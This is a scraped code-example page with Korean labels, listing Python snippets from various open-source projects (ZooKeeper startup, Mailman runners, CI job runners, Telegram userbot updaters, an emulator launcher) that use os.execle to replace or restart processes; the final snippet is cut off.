예제 #1
1
파일: startup.py 프로젝트: vlisivka/cattle
def server():
    server_id = int(os.environ.get('ID', '1'))

    print 'Server ID', server_id

    # /dev is an unconstrained tmpfs in Docker, /dev/shm is 64mb
    if not os.path.exists('/dev/zk'):
        os.mkdir('/dev/zk')

    with open('/dev/zk/myid', 'w') as f:
        f.write(str(server_id))

    servers = get_servers(server_id)

    with open('/zookeeper/conf/zoo.cfg','w') as f:
        f.write(template)

        for i, server in enumerate(servers):
            id = str(i+1)
            f.write('server.{0}={1}\n'.format(id, server))

    with open('/zookeeper/conf/zoo.cfg') as f:
        print 'Config'
        print f.read()

    sys.stdout.flush()
    env = dict(os.environ)
    env['JVMFLAGS'] = '-Djava.net.preferIPv4Stack=true'

    os.execle('/zookeeper/bin/zkServer.sh', 'zkServer.sh', 'start-foreground', env)
예제 #2
0
파일: utils.py 프로젝트: felsen/dusty
def pty_fork(*args):
    """Runs a subprocess with a PTY attached via fork and exec.
    The output from the PTY is streamed through log_to_client.
    This should not be necessary for most subprocesses, we
    built this to handle Compose up which only streams pull
    progress if it is attached to a TTY."""

    updated_env = copy(os.environ)
    updated_env.update(get_docker_env())
    args += (updated_env,)
    executable = args[0]
    demote_fn = demote_to_user(get_config_value(constants.CONFIG_MAC_USERNAME_KEY))

    child_pid, pty_fd = pty.fork()
    if child_pid == 0:
        demote_fn()
        os.execle(_executable_path(executable), *args)
    else:
        child_process = psutil.Process(child_pid)
        terminal = os.fdopen(pty_fd, 'r', 0)
        with streaming_to_client():
            while child_process.status() == 'running':
                output = terminal.read(1)
                log_to_client(output)
        _, exit_code = os.waitpid(child_pid, 0)
        if exit_code != 0:
            raise subprocess.CalledProcessError(exit_code, ' '.join(args[:-1]))
예제 #3
0
def _processRequest(conn, sessionDict):
    DEBUG(EXTCGI, 'extcgi Processing Request')
    #dict of environ, headers, stdin
    kid_stdin, parent_to_kid_stdin = os.pipe()
    parent_to_kid_stdout, kid_stdout = os.pipe()
    parent_to_kid_stderr, kid_stderr = os.pipe()
    pid = os.fork()
    try:
        if pid: #ok I'm the parent
            DEBUG(EXTCGI, 'child pid is %d' % pid)
            #close kid sides
            os.close(kid_stdin)
            os.close(kid_stdout)
            os.close(kid_stderr)

            stdin = conn._stdin

            return _doCGI(conn, pid, parent_to_kid_stdin,
                          parent_to_kid_stdout,
                          parent_to_kid_stderr, stdin)

        else: #I'm the kid
            #close parent side of pipes
            os.close(parent_to_kid_stdin)
            os.close(parent_to_kid_stdout)
            os.close(parent_to_kid_stderr)
            #dup kid sides to my stdin/out/err
            os.dup2(kid_stdin, 0)
            os.dup2(kid_stdout, 1)
            os.dup2(kid_stderr, 2)
            env = _fix(conn.env)
            if DEBUGIT(EXTCGI):
                DEBUG(EXTCGI, "environment is %s" % _dispenv(env))
            prog = Configuration.CGIProgram
            args = ( (prog,) + (prog,) +
                     Configuration.CGIProgramArgs +(env,))
            DEBUG(EXTCGI, 'args is %s' % repr(args))
            oldpwd = os.getcwd()
            try:
                os.chdir(os.path.split(env["PATH_TRANSLATED"])[0])
                os.execle(*args)

            finally:
                os.chdir(oldpwd)
    except:
        if pid == 0: #I'm the kid
            logException()
            #give the parent some info as to why I died
            os.write(kid_stderr, "exception executing CGI : %s %s" % (
                sys.exc_info()[0], sys.exc_info()[1]))
            DEBUG(EXTCGI, "I'm still here! killing self");
            os.kill(os.getpid(), 9)

        else: #I'm the parent
            e, t, tb = sys.exc_info()
            try:
                os.kill(pid, 9) # we screwed up, kill kid
            except: #in event that it's already dead, that's ok too
                pass
            raise e, t, tb
예제 #4
0
def unconfined(job):
    # The unconfined runner even allow to choose the runner right from the yml.
    runner = job.config.pop('runner', None)
    if runner:
        call_runner(runner, job)
    else:
        logger.debug('Executing unconfined.')

    entry = os.environ.get('YML_SCRIPT', 'script')
    if entry not in {'script', 'after_script'}:
        logger.error('%r is not a valid YML entry.', entry)
        sys.exit(1)

    script = job.config.get(entry)
    if not script:
        logger.error('Missing script.')
        sys.exit(0)
    script = script.strip() + '\n'

    script_name = '_job'
    with open(script_name, 'w') as fo:
        fo.write("#!/bin/bash -eux\n")
        fo.write(script)
        os.chmod(
            fo.name,
            stat.S_IREAD | stat.S_IWUSR | stat.S_IXUSR
        )

    environ = dict(
        {k: str(v) for k, v in job.config['parameters'].items()},
        CI='1',
        **os.environ
    )
    os.execle(script_name, environ)
예제 #5
0
파일: test.py 프로젝트: JuRogn/slapos
def runUnitTest(args):
  env = os.environ.copy()
  d = args[0]
  if 'openssl_binary' in d:
    env['OPENSSL_BINARY'] = d['openssl_binary']
  if 'test_ca_path' in d:
    env['TEST_CA_PATH'] = d['test_ca_path']
  if 'prepend_path' in d:
    env['PATH'] = ':'.join([d['prepend_path']] + os.environ.get('PATH', '').split(':'))
  if 'instance_home' in d:
    env['INSTANCE_HOME'] = d['instance_home']
    env['REAL_INSTANCE_HOME'] = d['instance_home']
  # Deal with Shebang size limitation
  executable_filepath = d['call_list'][0]
  file_object = open(executable_filepath, 'r')
  line = file_object.readline()
  file_object.close()
  argument_list = []
  if line[:2] == '#!':
    executable_filepath = line[2:].strip()
    argument_list.append(executable_filepath)
  argument_list.extend(d['call_list'])
  argument_list.extend(sys.argv[1:])
  argument_list.append(env)
  os.execle(executable_filepath, *argument_list)
예제 #6
0
def main(args=None):
    """
    Start the GUI to install packages.
    If the GUI use QT and a new version of QT has been installed, we need to start a new process
    which setup the environment (shared libs and so on).

    On darwin, for instance, the sudo command do not propagate the environment variables.
    So to update the env variables dynamically, we restart a new python process with the OpenAlea environment.
    """
    if args is None:
        args = []
    #status = main_app(args)

    envdict = check_system_setuptools()

    if sys.platform.lower().startswith('win'):
        status = os.execle(sys.executable, sys.executable, "-c", 
                  '"import sys; from openalea.deploygui import alea_install_gui;sys.argv="'+str(args)+'";alea_install_gui.main_app(sys.argv)"',
                  envdict)
    else:
        status = os.execle(sys.executable, sys.executable, "-c",
                  'import sys; from openalea.deploygui import alea_install_gui;sys.argv='+str(args)+';alea_install_gui.main_app(sys.argv)',
                  envdict)


    print "Update environment"

    if sys.platform.lower().startswith('win'):
        os.execl(sys.executable, sys.executable, '-c',
                  '"from openalea.deploy.command import set_env; set_env()"')
    else:
        os.execl(sys.executable, sys.executable, '-c',
                  'from openalea.deploy.command import set_env; set_env()')

    return status
예제 #7
0
def python(args):
    '''open a python shell with the cinnabar module in sys.path'''

    args = list(args.flags)
    env = os.environ.copy()
    env['PYTHONPATH'] = os.pathsep.join(sys.path)
    args.append(env)
    os.execle(sys.executable, sys.executable, *args)
예제 #8
0
def start():
	global hyperserv_bin_path
	if hyperserv_bin_path == '':
		hyperserv_bin_path = hyperserv_root_path + 'src/hyperserv'
	if not os.path.isfile(hyperserv_bin_path):
		os.execlpe('hyperserv', 'hyperserv', '-lsauer.log', '-s'+pyscripts_path, os.environ)
	else:
		os.execle(hyperserv_bin_path, 'hyperserv' '-lsauer.log', '-s'+pyscripts_path, os.environ)
예제 #9
0
def reload_interpreter(python):
    """
    Reload the python interpreter to ensure that all deps are available.

    Newly installed modules in namespace packages sometimes seemt to
    not be picked up by Python 3.
    """
    os.execle(python, python, sys.argv[0], os.environ)
예제 #10
0
파일: ssh.py 프로젝트: joe42/ClusterBot
def scp(passwd, src, dest, timeout=TIMEOUT, passwds=PASSWDS, errors=ERRORS,
        continues=CONTINUE):
    """
    On success, returns output of scp.
    
    passwd -- password
    src -- source file of the form [[user@]host:]file
    dest -- destination file of the form [[user@]host:]file
    timeout -- timeout applied when trying to read one(!) character
    passwds -- list of password prompts which are expected
    errors -- list of error messages which are expected
    continues -- list of \"Are you sure want to conitnue\" prompts which are
                 expected
    """

    [pid, tty] = pty.fork();
    if pid == 0:
        ssh_environ = copy.copy(os.environ);
        ssh_environ["LANG"] = LANG;
        os.execle("/usr/bin/scp", "scp", src, dest, ssh_environ);

    else:
        #Wait for password prompt or error message:
        output = expect(tty, passwds + errors + continues, timeout=timeout);

        for error in errors:
            if error in output:
                #An error occured:
                raise ConnectError(error, "");

        for cont in continues:
            if cont in output:
                #Always accept unknown RSAs:
                os.write(tty, "yes" + os.linesep);
                output = expect(tty, passwds, timeout=timeout);

        #provide password:
        os.write(tty, passwd + os.linesep);

        #Wait for second password prompt or death of child:
        output = expect(tty, passwds, timeout=timeout, raise_os=False);

        for err in errors:
            if err in output:
                raise ROSError(err, src + ", " + dest);
        for pwd in passwds:
            if pwd in output:
                raise UIDError("User authentication failed");

        return output.strip();
예제 #11
0
파일: master.py 프로젝트: maxking/mailman
    def _start_runner(self, spec):
        """Start a runner.

        All arguments are passed to the process.

        :param spec: A runner spec, in a format acceptable to
            bin/runner's --runner argument, e.g. name:slice:count
        :type spec: string
        :return: The process id of the child runner.
        :rtype: int
        """
        pid = os.fork()
        if pid:
            # Parent.
            return pid
        # Child.
        #
        # Set the environment variable which tells the runner that it's
        # running under bin/master control.  This subtly changes the error
        # behavior of bin/runner.
        env = {'MAILMAN_UNDER_MASTER_CONTROL': '1'}
        # Craft the command line arguments for the exec() call.
        rswitch = '--runner=' + spec
        # Wherever master lives, so too must live the runner script.
        exe = os.path.join(config.BIN_DIR, 'runner')
        # config.PYTHON, which is the absolute path to the Python interpreter,
        # must be given as argv[0] due to Python's library search algorithm.
        args = [sys.executable, sys.executable, exe, rswitch]
        # Always pass the explicit path to the configuration file to the
        # sub-runners.  This avoids any debate about which cfg file is used.
        config_file = (config.filename if self._config_file is None
                       else self._config_file)
        args.extend(['-C', config_file])
        log = logging.getLogger('mailman.runner')
        log.debug('starting: %s', args)
        # We must pass this environment variable through if it's set,
        # otherwise runner processes will not have the correct VAR_DIR.
        var_dir = os.environ.get('MAILMAN_VAR_DIR')
        if var_dir is not None:
            env['MAILMAN_VAR_DIR'] = var_dir
        # For the testing framework, if these environment variables are set,
        # pass them on to the subprocess.
        for envvar in PRESERVE_ENVS:
            if envvar in os.environ:
                env[envvar] = os.environ[envvar]
        args.append(env)
        os.execle(*args)
        # We should never get here.
        raise RuntimeError('os.execle() failed')
예제 #12
0
파일: test.py 프로젝트: shadowchmod/slapos
def runUnitTest(args):
    env = os.environ.copy()
    d = args[0]
    env["PATH"] = ":".join([d["prepend_path"]] + os.environ.get("PATH", "").split(":"))
    # Deal with Shebang size limitation
    executable_filepath = d["call_list"][0]
    file_object = open(executable_filepath, "r")
    line = file_object.readline()
    file_object.close()
    argument_list = []
    if line[:2] == "#!":
        executable_filepath = line[2:].strip()
        argument_list.append(executable_filepath)
    argument_list.extend(d["call_list"])
    argument_list.extend(sys.argv[1:])
    argument_list.append(env)
    os.execle(executable_filepath, *argument_list)
예제 #13
0
def run_detached(binary, args=[], env=None):
    if not os.path.exists(binary):
        from . import software
        binary_base = os.path.basename(binary)
        try:
            binary = software.which(binary_base)
        except LookupError:
            raise Exception('Cannot find %s executable' % binary_base)


    pid = os.fork()
    if pid == 0:
        os.setsid()
        pid = os.fork()
        if pid != 0:
            os._exit(0)

        os.chdir('/')
        os.umask(0)
        
        import resource         # Resource usage information.
        maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
        if (maxfd == resource.RLIM_INFINITY):
            maxfd = 1024
            
        for fd in range(0, maxfd):
            try:
                os.close(fd)
            except OSError:
                pass

        os.open('/dev/null', os.O_RDWR)

        os.dup2(0, 1)
        os.dup2(0, 2)   
        
        try:
            if env:
                args.append(env)
                os.execle(binary, binary, *args)
            else:
                os.execl(binary, binary, *args)
        except Exception:
            os._exit(255)
예제 #14
0
파일: master.py 프로젝트: adam-iris/mailman
    def _start_runner(self, spec):
        """Start a runner.

        All arguments are passed to the process.

        :param spec: A runner spec, in a format acceptable to
            bin/runner's --runner argument, e.g. name:slice:count
        :type spec: string
        :return: The process id of the child runner.
        :rtype: int
        """
        pid = os.fork()
        if pid:
            # Parent.
            return pid
        # Child.
        #
        # Set the environment variable which tells the runner that it's
        # running under bin/master control.  This subtly changes the error
        # behavior of bin/runner.
        os.environ['MAILMAN_UNDER_MASTER_CONTROL'] = '1'
        # Craft the command line arguments for the exec() call.
        rswitch = '--runner=' + spec
        # Wherever master lives, so too must live the runner script.
        exe = os.path.join(config.BIN_DIR, 'runner')
        # config.PYTHON, which is the absolute path to the Python interpreter,
        # must be given as argv[0] due to Python's library search algorithm.
        args = [sys.executable, sys.executable, exe, rswitch]
        if self._config_file is not None:
            args.extend(['-C', self._config_file])
        log = logging.getLogger('mailman.runner')
        log.debug('starting: %s', args)
        # For the testing framework, if this environment variable is set, pass
        # it on to the subprocess.
        coverage_env = os.environ.get('COVERAGE_PROCESS_START')
        env = dict()
        if coverage_env is not None:
            env['COVERAGE_PROCESS_START'] = coverage_env
        args.append(env)
        os.execle(*args)
        # We should never get here.
        raise RuntimeError('os.execle() failed')
예제 #15
0
def connect():
    """
       -t   Force pseudo-tty allocation.  This can be used to execute arbi-
            trary screen-based programs on a remote machine, which can be
            very useful, e.g., when implementing menu services.  Multiple -t
            options force tty allocation, even if ssh has no local tty.


       -m   causes screen  to  ignore  the  $STY  environment  variable.  With
            "screen  -m"  creation  of  a  new session is enforced, regardless
            whether screen is called from within  another  screen  session  or
            not.  This  flag has a special meaning in connection with the `-d'
            option:
    """
    if isRackspace():
        os.execle("/usr/bin/ssh", '-t', '-t', 'thrawn01.org.bast',
                  'screen', '-mdr', os.environ)
    else:
        os.execle("/usr/bin/ssh", '-t', '-t', 'thrawn01.org',
                  'screen', '-mdr', os.environ)
    return 0
예제 #16
0
async def wow_restart(client, message):
    await edit_or_reply(message, "`🔁 Restarting... 🔁`")
    args = [sys.executable, "-m", "main_startup"]
    execle(sys.executable, *args, environ)
    exit()
    return
예제 #17
0
import os

parm = 0
while True:
    parm +=1
    pid = os.fork()
    if pid ==0:
        os.execle('python','python','fork1.py',str(parm))
        assert False,'error starting program'
    else:
        print('Child is',pid)
        if input() == 'q':break
예제 #18
0
                    tcmd = [PY_EXEC, "-m", "userbot", "-safemode"]
                else:
                    log.info("Performing normal reboot...")
                    tcmd = [PY_EXEC, "-m", "userbot"]
            elif start_recovery:
                commit_id = getConfig("UPDATE_COMMIT_ID")
                if commit_id:
                    log.info("Starting auto update in recovery...")
                    tcmd = [PY_EXEC, "recovery.py", "-autoupdate", commit_id]
                else:
                    log.info("Rebooting into recovery...")
                    tcmd = [PY_EXEC, "recovery.py"]
            try:
                if fhandler:
                    fhandler.close()
                shutdown()  # shutdown logging
            except:
                pass
            execle(PY_EXEC, *tcmd, environ)
    except:
        pass

    try:
        if fhandler:
            fhandler.close()
        shutdown()
    except:
        pass

    quit()
예제 #19
0
파일: main.py 프로젝트: changliwei/tmuxp
#subprocess.Popen(['vim']).pid
if not in_tmux():
    shell_commands = []
    if has_virtualenv():
        shell_commands.append('source %s/bin/activate' % has_virtualenv())

    shell_commands.append('echo wat lol %s' % has_virtualenv())
    session_name = 'tmuxp'
    tmux('new-session', '-d', '-s', session_name)
    for shell_command in shell_commands:
        tmux('send-keys', '-t', session_name, shell_command, '^M')

    os.environ['pypid'] = str(os.getpid())
    tmux('send-keys', '-R', '-t', session_name, 'python main.py', '^M', )

    os.execle('/usr/local/bin/tmux', 'tmux', 'attach-session', '-t', session_name, os.environ)
else:
    print has_virtualenv()
    print in_tmux()
    print os.environ.get('pypid')
    print os.environ.get('PYPID')
    print os.getpid()
    print "welcome to tmuxp"

"""
Have a bootstrap.py to determine environment variables, like tmux location,
if inside tmux, is tmux server running, current config files, current
sessions. An outer wrapper that can be used to run tmux within created,
uncreated and remotely.
"""
예제 #20
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    await ups.edit("`Searching for new updates, if any...`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_updateme = False

    try:
        txt = "`Oops.. Updater cannot continue as "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f"{txt}\n`directory {error} is not found`")
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f"{txt}\n`Early failure! {error}`")
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"**Unfortunately, the directory {error} does not seem to be a git repository.\
                \nOr Maybe it just needs a sync verification with {GIT_REPO_NAME}\
            \nBut we can fix that by force updating the userbot using** `{xxxx}update now`."
            )
            return
        repo = Repo.init()
        origin = repo.create_remote("upstream", off_repo)
        origin.fetch()
        force_updateme = True
        repo.create_head("master", origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != "master":
        await ups.edit(
            f"**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). "
            "in that case, Updater is unable to identify "
            "which branch is to be merged. "
            "Please checkout the official branch of KhushBot`"
        )
        repo.__del__()
        return

    try:
        repo.create_remote("upstream", off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote("upstream")
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}")

    if not changelog and not force_updateme:
        await ups.edit(
            f"\n`Your BOT is`  **up-to-date**  `with`  **[[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br})**\n"
        )
        repo.__del__()
        return

    if conf != "now" and not force_updateme:
        changelog_str = (
            f"**New UPDATE available for [[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br}):**\n\n"
            + "**CHANGELOG**\n\n"
            + f"{changelog}"
        )
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond(f"Do `{xxxx}update now` to update")
        return

    if force_updateme:
        await ups.edit("`Force-Syncing to latest stable userbot code, please wait...`")
    else:
        await ups.edit("`Updating userbot, please wait....`")
    # We're in a Heroku Dyno, handle it's memez.
    if Var.HEROKU_API_KEY is not None:
        import heroku3

        heroku = heroku3.from_key(Var.HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not Var.HEROKU_APP_NAME:
            await ups.edit(
                "`Please set up the HEROKU_APP_NAME variable to be able to update userbot.`"
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == Var.HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f"{txt}\n`Invalid Heroku credentials for updating userbot dyno.`"
            )
            repo.__del__()
            return
        await ups.edit(
            "`Userbot dyno build in progress, please wait for it to complete.`"
        )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@"
        )
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f"{txt}\n`Here is the error log:\n{error}`")
            repo.__del__()
            return
        await ups.edit("`Successfully Updated!\n" "Restarting, please wait...`")
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await updateme_requirements()
        await ups.edit(
            "`Successfully Updated!\n" "Bot is restarting... Wait for a second!`"
        )
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #21
0
def main(args):
    # Parse flags
    verify_rom = True
    use_exec = False
    while len(args) >= 1:
        if args[0] == '-f':
            verify_rom = False
        elif args[0] == '--exec':
            use_exec = True
        else:
            break
        args = args[1:]

    # Parse arguments
    if len(args) != 1:
        sys.exit('syntax: box_up [-f] [--exec] <path to box directory>')
        return
    box_dirpath = os.path.abspath(args[0])
    if not os.path.exists(box_dirpath):
        sys.exit('file not found: ' + box_dirpath)
        return

    # Compute paths to important directories and files
    bin_dirpath = os.path.join(box_dirpath, 'bin')
    etc_dirpath = os.path.join(box_dirpath, 'etc')
    rom_dirpath = os.path.join(box_dirpath, 'rom')
    share_dirpath = os.path.join(box_dirpath, 'share')
    mount_dirpath = os.path.join(box_dirpath, 'mount')

    minivmac_filepath = os.path.join(bin_dirpath, 'Mini vMac.app', 'Contents',
                                     'MacOS', 'minivmac')
    basilisk_filepath = os.path.join(bin_dirpath, 'BasiliskII.app', 'Contents',
                                     'MacOS', 'BasiliskII')
    sheepshaver_filepath = os.path.join(bin_dirpath, 'SheepShaver.app',
                                        'Contents', 'MacOS', 'SheepShaver')

    if os.path.exists(minivmac_filepath):
        emulator_filepath = minivmac_filepath
        prefs_filepath = None
    elif os.path.exists(basilisk_filepath):
        emulator_filepath = basilisk_filepath
        prefs_filepath = os.path.join(etc_dirpath, '.basilisk_ii_prefs')
    elif os.path.exists(sheepshaver_filepath):
        emulator_filepath = sheepshaver_filepath
        prefs_filepath = os.path.join(etc_dirpath, '.sheepshaver_prefs')
    else:
        sys.exit('Cannot locate a supported emulator in the bin directory.')
        return

    # Locate ROM file
    rom_filepath = None
    for root, dirs, files in os.walk(rom_dirpath):
        for file in files:
            # Find the first .rom file and use it
            if file.lower().endswith('.rom'):
                if rom_filepath is not None:
                    sys.exit('Multiple ROM files found.')
                    return
                rom_filepath = os.path.join(root, file)
    if rom_filepath is None:
        sys.exit('Cannot locate ROM file.')
        return

    # Load ROM file for further checks
    with open(rom_filepath, 'rb') as rom_file:
        rom = rom_file.read()
        rom_size = len(rom)

    # A user may want to override the following ROM checks, since
    # an invalid ROM often works inside emulators. Furthermore some
    # commonly distributed copies of ROMs are bogus (especially vMac.ROM).
    if verify_rom:
        # Verify ROM checksum (if OldWorld ROM)
        is_newworld_rom = rom.startswith('<CHRP-BOOT>')
        is_oldworld_rom = not is_newworld_rom
        if is_oldworld_rom:
            expected_checksum = get_oldworld_rom_embedded_checksum(rom)
            actual_checksum = compute_oldworld_rom_actual_checksum(rom)
            if actual_checksum != expected_checksum:
                sys.exit(
                    'Invalid ROM checksum. Expected %08x but found %08x.' %
                    (expected_checksum, actual_checksum))
                return

        # Verify ROM size
        if is_oldworld_rom:
            if rom_size not in [
                    64 * 1024, 128 * 1024, 256 * 1024, 512 * 1024,
                    1 * 1024 * 1024, 2 * 1024 * 1024, 4 * 1024 * 1024
            ]:
                sys.exit(
                    'Invalid ROM file size. Expected 64k, 128k, 256k, 512k, 1m, 2m, or 4m.'
                )
                return

        # There are chopped versions of the Mac Classic ROM on the internet
        # that only have the first 256k. Detect this.
        if get_oldworld_rom_embedded_checksum(
                rom) == 0xA49F9914 and rom_size != 512 * 1024:
            if rom_size == 256 * 1024:
                sys.exit(
                    'This Mac Classic ROM is missing its last 256k. Booting it with Command-Option-X-O will not work.'
                )
                return
            else:
                sys.exit(
                    'Invalid ROM size. Expected %d bytes but found %d bytes.' %
                    (512 * 1024, rom_size))
                return

    using_minivmac = (emulator_filepath == minivmac_filepath)
    using_basilisk = (emulator_filepath == basilisk_filepath)
    if using_minivmac:
        rom = None  # permit early garbage collection

        # Locate disk images
        disk_filepaths = []
        for root, dirs, files in os.walk(mount_dirpath):
            for file in files:
                if is_mini_vmac_supported_disk_image(file):
                    disk_filepaths.append(os.path.join(root, file))

        # Create a symlink to the ROM file with the name required by Mini vMac,
        # and locate it in the same directory as the Mini vMac binary.
        # NOTE: When porting to Windows, Mini vMac explicitly supports a
        #       Windows-style .lnk file. See the docs for details.
        rom_link_filepath = os.path.join(bin_dirpath, 'vMac.ROM')
        if os.path.exists(rom_link_filepath):
            # Cleanup old link
            # TODO: Fail if isn't a link (i.e. if there is already
            #       a full ROM file here).
            os.remove(rom_link_filepath)
        os.symlink(rom_filepath, rom_link_filepath)

        returncode = 1
        try:
            # Start Mini vMac
            # NOTE: Unlike for Basilisk or SheepShaver, it is not necessary
            #       to fake the home directory, since Mini vMac does not
            #       have any configuration files at all.
            minivmac_process = subprocess.Popen([emulator_filepath])

            # Mount all of the disks (by simulating a drag of each disk to the
            # Mini vMac application icon).
            #
            # <strike>Do this twice because the system will eject disks until a valid
            #         boot disk is inserted.</strike>
            # Mini vMac complains about multiple mounts & file in use.
            # TODO: Will need a more creative solution, perhaps checking whether
            #       a file is "in use" before dragging to Mini vMac.
            for i in xrange(1):  #xrange(2):
                for disk_filepath in disk_filepaths:
                    subprocess.call(
                        ['open', '-a', emulator_filepath, disk_filepath])

            # Wait for Mini vMac to terminate
            minivmac_process.wait()
            returncode = minivmac_process.returncode
        finally:
            os.remove(rom_link_filepath)

        # Exit with emulator's return code
        sys.exit(returncode)
        return

    else:
        # Create preferences file
        with open(prefs_filepath, 'wb') as prefs:
            # Write ROM section
            prefs.write('# ROM\n')
            prefs.write('rom ' + rom_filepath + '\n')
            rom_prefs_filepath = rom_filepath + '.prefs'
            if os.path.exists(rom_prefs_filepath):
                prefs.write(open(rom_prefs_filepath, 'rb').read())

            # Write disks section
            prefs.write('# Disks\n')
            for root, dirs, files in os.walk(mount_dirpath):
                for file in files:
                    if is_basilisk_supported_disk_image(file):
                        prefs.write('disk ' + os.path.join(root, file) + '\n')

            # Write shared folder section
            if os.path.exists(share_dirpath):
                prefs.write('# Shared folder\n')
                prefs.write('extfs ' + share_dirpath + '\n')

            # Write networking section
            prefs.write('# Networking\n')
            if using_basilisk:
                prefs.write('udptunnel true\n')
                prefs.write(
                    'udpport 6066\n')  # default, but it's nice to be explicit

            # Write extra preferences
            for root, dirs, files in os.walk(etc_dirpath):
                for file in files:
                    if file.lower().endswith('.prefs'):
                        prefs.write('# Extra: ' + file + '\n')
                        prefs.write(
                            open(os.path.join(root, file), 'rb').read())

        zap_pram_if_rom_changed(rom, etc_dirpath)
        rom = None  # permit early garbage collection

        # Launch Basilisk/SheepShaver, relocating its preferences file to the 'etc' directory
        box_env = {
            'HOME': etc_dirpath,
        }
        if use_exec:
            os.chdir(box_dirpath)
            arg0 = os.path.basename(emulator_filepath)
            os.execle(emulator_filepath, arg0, box_env)
            return
        else:
            returncode = subprocess.call([emulator_filepath],
                                         cwd=box_dirpath,
                                         env=box_env)

            # Exit with emulator's return code
            sys.exit(returncode)
            return
예제 #22
0
파일: utils.py 프로젝트: felsen/dusty
def exec_docker(*args):
    updated_env = copy(os.environ)
    updated_env.update(get_docker_env())
    args += (updated_env,)
    os.execle(_executable_path('docker'), 'docker', *args)
예제 #23
0
파일: updt.py 프로젝트: PROBOYX/javes3.0
async def upstream(ups):

    await ups.edit("** Checking for new updates **")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_updateme = False

    try:
        txt = "`Oops.. Updater cannot continue as "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`directory {error} is not found`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Early failure! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"**Sync-Verification required since the directory {error} does not seem to be a git repository.\
                \nSync-Verify now with {GIT_REPO_NAME}\
            \nTo do This type** `.update now`.")
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_updateme = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). '
            'in that case, Updater is unable to identify '
            'which branch is to be merged. '
            'Please checkout the official branch`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_updateme:
        await ups.edit(
            f'\nBot is  **up-to-date**  `with`  **[[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br})**\n'
        )
        repo.__del__()
        return

    if conf != "now" and not force_updateme:
        changelog_str = f'**New UPDATE available for [[{ac_br}]]({UPSTREAM_REPO_URL}/tree/{ac_br}):**\n\n' + '**CHANGELOG**\n\n' + f'{changelog}'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big`")
            file = open("Changelog.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "Changelog.txt",
                reply_to=ups.id,
            )
            remove("Changelog.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond(f'Do `.updt now` to update')
        return

    if force_updateme:
        await ups.edit('`Force-Updating to latest stable code`')
    else:
        await ups.edit('`Updating your` **ßoott**')
    # We're in a Heroku Dyno, handle it's memez.
    if config.HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(config.HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not config.HEROKU_APP_NAME:
            await ups.edit(
                '`Please set up the HEROKU_APPNAME or HEROKU_APIKEY `')
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == config.HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(f'{txt}\n`Invalid Heroku credentials for updating.`'
                           )
            repo.__del__()
            return
        await ups.edit('`Updating Started`')
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
